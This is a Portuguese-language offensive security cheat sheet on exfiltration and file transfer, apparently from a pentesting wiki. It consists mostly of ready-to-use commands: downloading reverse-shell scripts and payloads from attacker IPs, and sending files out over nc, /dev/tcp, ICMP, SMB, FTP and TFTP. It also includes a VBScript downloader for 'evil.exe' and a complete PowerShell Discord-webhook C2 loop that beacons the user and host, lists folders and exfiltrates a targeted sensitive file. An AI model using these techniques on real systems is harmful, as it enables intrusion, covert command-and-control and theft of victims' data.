Exfiltration

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Domínios comumente whitelisted para exfiltrate informações

Consulte https://lots-project.com/ para encontrar domínios comumente whitelisted que podem ser abusados

Copy&Paste Base64

Linux

base64 -w0 <file> #Encode file
base64 -d file #Decode file

Windows

certutil -encode payload.dll payload.b64
certutil -decode payload.b64 payload.dll

HTTP

Linux

wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py
wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm
curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py
fetch 10.10.14.14:8000/shell.py #FreeBSD

Windows

certutil -urlcache -split -f http://webserver/payload.b64 payload.b64
bitsadmin /transfer transfName /priority high http://example.com/examplefile.pdf C:\downloads\examplefile.pdf

#PS
(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")
Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"
wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"

Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $output
#OR
Start-BitsTransfer -Source $url -Destination $output -Asynchronous

Enviar arquivos

• SimpleHttpServerWithFileUploads
• SimpleHttpServer printing GET and POSTs (also headers)
• Módulo Python uploadserver:

# Listen to files
python3 -m pip install --user uploadserver
python3 -m uploadserver
# With basic auth:
# python3 -m uploadserver --basic-auth hello:world

# Send a file
curl -X POST http://HOST/upload -H -F 'files=@file.txt'
# With basic auth:
# curl -X POST http://HOST/upload -H -F 'files=@file.txt' -u hello:world

Servidor HTTPS

# from https://gist.github.com/dergachev/7028596
# taken from http://www.piware.de/2011/01/creating-an-https-server-in-python/
# generate server.xml with the following command:
#    openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
# run as follows:
#    python simple-https-server.py
# then in your browser, visit:
#    https://localhost:443

### PYTHON 2
import BaseHTTPServer, SimpleHTTPServer
import ssl

httpd = BaseHTTPServer.HTTPServer(('0.0.0.0', 443), SimpleHTTPServer.SimpleHTTPRequestHandler)
httpd.socket = ssl.wrap_socket (httpd.socket, certfile='./server.pem', server_side=True)
httpd.serve_forever()
###

### PYTHON3
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl

httpd = HTTPServer(('0.0.0.0', 443), BaseHTTPRequestHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="./server.pem", server_side=True)
httpd.serve_forever()
###

### USING FLASK
from flask import Flask, redirect, request
from urllib.parse import quote
app = Flask(__name__)
@app.route('/')
def root():
print(request.get_json())
return "OK"
if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
###

Webhooks (Discord/Slack/Teams) para C2 & Data Exfiltration

Webhooks são endpoints HTTPS somente-gravação que aceitam JSON e partes de arquivo opcionais. Eles são comumente permitidos para domínios SaaS confiáveis e não exigem chaves OAuth/API, tornando-os úteis para beaconing de baixa fricção e exfiltration.

Key ideas:

• Endpoint: o Discord usa https://discord.com/api/webhooks//
• POST multipart/form-data com uma parte chamada payload_json contendo {"content":"..."} e parte(s) de arquivo opcionais chamadas file.
• Padrão de loop do operador: periodic beacon -> directory recon -> targeted file exfil -> recon dump -> sleep. HTTP 204 NoContent/200 OK confirmam a entrega.

PowerShell PoC (Discord):

# 1) Configure webhook and optional target file
$webhook = "https://discord.com/api/webhooks/YOUR_WEBHOOK_HERE"
$target  = Join-Path $env:USERPROFILE "Documents\SENSITIVE_FILE.bin"

# 2) Reuse a single HttpClient
$client = [System.Net.Http.HttpClient]::new()

function Send-DiscordText {
param([string]$Text)
$payload = @{ content = $Text } | ConvertTo-Json -Compress
$jsonContent = New-Object System.Net.Http.StringContent($payload, [System.Text.Encoding]::UTF8, "application/json")
$mp = New-Object System.Net.Http.MultipartFormDataContent
$mp.Add($jsonContent, "payload_json")
$resp = $client.PostAsync($webhook, $mp).Result
Write-Host "[Discord] text -> $($resp.StatusCode)"
}

function Send-DiscordFile {
param([string]$Path, [string]$Name)
if (-not (Test-Path $Path)) { return }
$bytes = [System.IO.File]::ReadAllBytes($Path)
$fileContent = New-Object System.Net.Http.ByteArrayContent(,$bytes)
$fileContent.Headers.ContentType = [System.Net.Http.Headers.MediaTypeHeaderValue]::Parse("application/octet-stream")
$json = @{ content = ":package: file exfil: $Name" } | ConvertTo-Json -Compress
$jsonContent = New-Object System.Net.Http.StringContent($json, [System.Text.Encoding]::UTF8, "application/json")
$mp = New-Object System.Net.Http.MultipartFormDataContent
$mp.Add($jsonContent, "payload_json")
$mp.Add($fileContent, "file", $Name)
$resp = $client.PostAsync($webhook, $mp).Result
Write-Host "[Discord] file $Name -> $($resp.StatusCode)"
}

# 3) Beacon/recon/exfil loop
$ctr = 0
while ($true) {
$ctr++
# Beacon
$beacon = "━━━━━━━━━━━━━━━━━━`n:satellite: Beacon`n```User: $env:USERNAME`nHost: $env:COMPUTERNAME```"
Send-DiscordText -Text $beacon

# Every 2nd: quick folder listing
if ($ctr % 2 -eq 0) {
$dirs = @("Documents","Desktop","Downloads","Pictures")
$acc = foreach ($d in $dirs) {
$p = Join-Path $env:USERPROFILE $d
$items = Get-ChildItem -Path $p -ErrorAction SilentlyContinue | Select-Object -First 3 -ExpandProperty Name
if ($items) { "`n$d:`n - " + ($items -join "`n - ") }
}
Send-DiscordText -Text (":file_folder: **User Dirs**`n━━━━━━━━━━━━━━━━━━`n```" + ($acc -join "") + "```")
}

# Every 3rd: targeted exfil
if ($ctr % 3 -eq 0) { Send-DiscordFile -Path $target -Name ([IO.Path]::GetFileName($target)) }

# Every 4th: basic recon
if ($ctr % 4 -eq 0) {
$who = whoami
$ip  = ipconfig | Out-String
$tmp = Join-Path $env:TEMP "recon.txt"
"whoami:: $who`r`nIPConfig::`r`n$ip" | Out-File -FilePath $tmp -Encoding utf8
Send-DiscordFile -Path $tmp -Name "recon.txt"
}

Start-Sleep -Seconds 20
}

Notas:

• Padrões semelhantes se aplicam a outras plataformas de colaboração (Slack/Teams) que usam seus incoming webhooks; ajuste a URL e o esquema JSON conforme necessário.
• Para DFIR de artefatos de cache do Discord Desktop e recuperação de webhook/API, consulte:

Discord Cache Forensics

FTP

Servidor FTP (python)

pip3 install pyftpdlib
python3 -m pyftpdlib -p 21

FTP server (NodeJS)

sudo npm install -g ftp-srv --save
ftp-srv ftp://0.0.0.0:9876 --root /tmp

Servidor FTP (pure-ftp)

apt-get update && apt-get install pure-ftp

#Run the following script to configure the FTP server
#!/bin/bash
groupadd ftpgroup
useradd -g ftpgroup -d /dev/null -s /etc ftpuser
pure-pwd useradd fusr -u ftpuser -d /ftphome
pure-pw mkdb
cd /etc/pure-ftpd/auth/
ln -s ../conf/PureDB 60pdb
mkdir -p /ftphome
chown -R ftpuser:ftpgroup /ftphome/
/etc/init.d/pure-ftpd restart

Windows cliente

#Work well with python. With pure-ftp use fusr:ftp
echo open 10.11.0.41 21 > ftp.txt
echo USER anonymous >> ftp.txt
echo anonymous >> ftp.txt
echo bin >> ftp.txt
echo GET mimikatz.exe >> ftp.txt
echo bye >> ftp.txt
ftp -n -v -s:ftp.txt

SMB

Kali como servidor

kali_op1> impacket-smbserver -smb2support kali `pwd` # Share current directory
kali_op2> smbserver.py -smb2support name /path/folder # Share a folder
#For new Win10 versions
impacket-smbserver -smb2support -user test -password test test `pwd`

Ou crie um compartilhamento smb usando samba:

apt-get install samba
mkdir /tmp/smb
chmod 777 /tmp/smb
#Add to the end of /etc/samba/smb.conf this:
[public]
comment = Samba on Ubuntu
path = /tmp/smb
read only = no
browsable = yes
guest ok = Yes
#Start samba
service smbd restart

Windows

CMD-Wind> \\10.10.14.14\path\to\exe
CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials

WindPS-1> New-PSDrive -Name "new_disk" -PSProvider "FileSystem" -Root "\\10.10.14.9\kali"
WindPS-2> cd new_disk:

SCP

O atacante precisa que o SSHd esteja em execução.

scp <username>@<Attacker_IP>:<directory>/<filename>

SSHFS

Se a vítima tiver SSH, o atacante pode montar um diretório da vítima na máquina do atacante.

sudo apt-get install sshfs
sudo mkdir /mnt/sshfs
sudo sshfs -o allow_other,default_permissions <Target username>@<Target IP address>:<Full path to folder>/ /mnt/sshfs/

NC

nc -lvnp 4444 > new_file
nc -vn <IP> 4444 < exfil_file

/dev/tcp

Baixar arquivo da vítima

nc -lvnp 80 > file #Inside attacker
cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim

Enviar arquivo para a vítima

nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker
# Inside victim
exec 6< /dev/tcp/10.10.10.10/4444
cat <&6 > file.txt

Agradecimentos a @BinaryShadow_

ICMP

# To exfiltrate the content of a file via pings you can do:
xxd -p -c 4 /path/file/exfil | while read line; do ping -c 1 -p $line <IP attacker>; done
#This will 4bytes per ping packet (you could probably increase this until 16)

from scapy.all import *
#This is ippsec receiver created in the HTB machine Mischief
def process_packet(pkt):
if pkt.haslayer(ICMP):
if pkt[ICMP].type == 0:
data = pkt[ICMP].load[-4:] #Read the 4bytes interesting
print(f"{data.decode('utf-8')}", flush=True, end="")

sniff(iface="tun0", prn=process_packet)

SMTP

Se você pode enviar dados para um servidor SMTP, você pode criar um servidor SMTP para receber os dados com python:

sudo python -m smtpd -n -c DebuggingServer :25

TFTP

Por padrão no XP e 2003 (em outros é necessário adicioná-lo explicitamente durante a instalação)

No Kali, start TFTP server:

#I didn't get this options working and I prefer the python option
mkdir /tftp
atftpd --daemon --port 69 /tftp
cp /path/tp/nc.exe /tftp

Servidor TFTP em python:

pip install ptftpd
ptftpd -p 69 tap0 . # ptftp -p <PORT> <IFACE> <FOLDER>

No victim, conecte-se ao servidor Kali:

tftp -i <KALI-IP> get nc.exe

PHP

Baixe um arquivo com um oneliner em PHP:

echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php

VBScript

Attacker> python -m SimpleHTTPServer 80

Vítima

echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http =CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET", strURL, False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs

cscript wget.vbs http://10.11.0.5/evil.exe evil.exe

Debug.exe

O programa debug.exe não apenas permite a inspeção de binários, mas também possui a capacidade de reconstruí-los a partir de hex. Isso significa que, fornecendo um hex de um binário, debug.exe pode gerar o arquivo binário. No entanto, é importante notar que debug.exe tem uma limitação para montar arquivos de até 64 kb de tamanho.

# Reduce the size
upx -9 nc.exe
wine exe2bat.exe nc.exe nc.txt

Em seguida, cole o texto no shell do Windows e um arquivo chamado nc.exe será criado.

• https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html

DNS

• https://github.com/Stratiz/DNS-Exfil

Referências

• Discord as a C2 and the cached evidence left behind
• Discord Webhooks – Execute Webhook
• Discord Forensic Suite (cache parser)